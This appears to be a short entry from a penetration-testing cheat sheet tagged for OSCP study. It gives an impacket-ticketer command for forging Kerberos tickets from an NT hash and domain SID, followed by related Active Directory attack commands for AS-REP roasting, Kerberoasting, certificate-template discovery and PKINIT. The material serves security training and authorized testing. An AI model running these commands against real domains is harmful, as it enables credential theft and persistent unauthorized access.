impacket-ticketer -dc-ip $DCIP -nthash $HASH -domain-sid $SID -domain $DOMAIN -user-id $UID -groups '$GROUPS' $USER

• Linux
• oscp
• cli
• Kerberos
• Persistence

Forge a Kerberos ticket with impacket, by ticket type.

Command: copy

References:

Related commands

• auth_ldap $IP $USER -p $PASSWORD $DOMAIN [-ldap|-ldaps]
• certipy find -dc-ip $DCIP -u $USER@$DOMAIN -p $PASSWORD -vulnerable...
• uv run gettgtpkinit.py $DOMAIN/$DC -cert-pfx crt.pfx -pfx-pass $PAS...
• impacket-GetADUsers -dc-ip $IP -all $DOMAIN/$USER:$PASSWORD
• impacket-GetNPUsers -dc-ip $IP $DOMAIN/ -usersfile usernames.txt -f...
• impacket-GetUserSPNs -dc-ip $IP $DOMAIN/$USER:$PASSWORD